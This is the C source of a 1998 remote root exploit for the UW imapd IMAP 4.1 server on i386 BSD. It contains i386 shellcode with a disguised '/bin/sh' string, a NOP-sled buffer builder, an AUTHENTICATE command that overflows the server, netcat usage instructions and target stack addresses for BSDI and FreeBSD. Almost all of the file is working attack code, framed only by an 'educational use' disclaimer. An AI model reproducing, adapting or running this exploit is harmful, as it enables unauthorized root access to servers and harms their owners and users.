/**
***  i386 BSD remote root exploit for UW imapd IMAP 4.1 server
***
***  This is *not* the same bug addressed in CERT Advisory CA-97.09!
***
***  Usage:  % (imappy nop esp offset; cat) | nc hostname 143
***
***  where nop is the number of NOP opcodes to place at the start of the
***  exploit buffer (I use 403), esp is the %esp stack pointer value, and
***  offset is the number of bytes to add to esp to calculate your target
***  %eip.
***
***  Demonstration values for UW imapd 10.234 (part of Pine 4.00):
***
***      imappy 403 0xefbfd5e8 100    (BSDI 3.0)
***      imappy 403 0xefbfd4b8 100    (FreeBSD 2.2.5)
***
***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
***  Cheez Whiz
***  cheezbeast@hotmail.com
***
***  July 16, 1998
**/

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>

#define BUFLEN (2*1024)
#define NOP 0x90

char shell[] =
  /*  0 */ "\xeb\x34"                      /* jmp springboard        [2000]*/
  /* start:                                                          [2000]*/
  /*  2 */ "\x5e"                          /* popl %esi              [2000]*/
  /*  3 */ "\x8d\x1e"                      /* leal (%esi),%ebx       [2000]*/
  /*  5 */ "\x89\x5e\x0b"                  /* movl %ebx,0xb(%esi)    [2000]*/
  /*  8 */ "\x31\xd2"                      /* xorl %edx,%edx         [2000]*/
  /* 10 */ "\x89\x56\x07"                  /* movl %edx,0x7(%esi)    [2000]*/
  /* 13 */ "\x89\x56\x0f"                  /* movl %edx,0xf(%esi)    [2000]*/
  /* 16 */ "\x89\x56\x14"                  /* movl %edx,0x14(%esi)   [2000]*/
  /* 19 */ "\x88\x56\x19"                  /* movb %dl,0x19(%esi)    [2000]*/
  /* 22 */ "\x31\xc0"                      /* xorl %eax,%eax         [2000]*/
  /* 24 */ "\xb0\x7f"                      /* movb $0x7f,%al         [2000]*/
  /* 26 */ "\x20\x46\x01"                  /* andb %al,0x1(%esi)     [2000]*/
  /* 29 */ "\x20\x46\x02"                  /* andb %al,0x2(%esi)     [2000]*/
  /* 32 */ "\x20\x46\x03"                  /* andb %al,0x3(%esi)     [2000]*/
  /* 35 */ "\x20\x46\x05"                  /* andb %al,0x5(%esi)     [2000]*/
  /* 38 */ "\x20\x46\x06"                  /* andb %al,0x6(%esi)     [2000]*/
  /* 41 */ "\xb0\x3b"                      /* movb $0x3b,%al         [2000]*/
  /* 43 */ "\x8d\x4e\x0b"                  /* leal 0xb(%esi),%ecx    [2000]*/
  /* 46 */ "\x89\xca"                      /* movl %ecx,%edx         [2000]*/
  /* 48 */ "\x52"                          /* pushl %edx             [2000]*/
  /* 49 */ "\x51"                          /* pushl %ecx             [2000]*/
  /* 50 */ "\x53"                          /* pushl %ebx             [2000]*/
  /* 51 */ "\x50"                          /* pushl %eax             [2000]*/
  /* 52 */ "\xeb\x18"                      /* jmp exec               [2000]*/
  /* springboard:                                                    [2000]*/
  /* 54 */ "\xe8\xc7\xff\xff\xff"          /* call start             [2000]*/
  /* data:                                                           [2000]*/
  /* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8"  /* DATA (disguised /bin/sh)     */
  /* 66 */ "\x01\x01\x01\x01"              /* DATA                   [2000]*/
  /* 70 */ "\x02\x02\x02\x02"              /* DATA                   [2000]*/
  /* 74 */ "\x03\x03\x03\x03"              /* DATA                   [2000]*/
  /* exec:                                                           [2000]*/
  /* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0          [2000]*/

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset;

void
main (int argc, char *argv[])
{
  int i;

  if (argc < 4)
    {
      printf("usage: %s nop esp offset\n", argv[0]);
      return;
    }

  nop = strtoul(argv[1], NULL, 0);
  esp = strtoul(argv[2], NULL, 0);
  offset = strtol(argv[3], NULL, 0);

  memset(buf, NOP, BUFLEN);
  memcpy(buf+nop, shell, strlen(shell));
  for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4)
    *((int *) &buf[i]) = esp + offset;

  printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
  for (i = 0; i < BUFLEN; i++)
    putchar(buf[i]);
  printf("\r\n");

  return;
}
/*                    www.hack.co.za              [2000]*/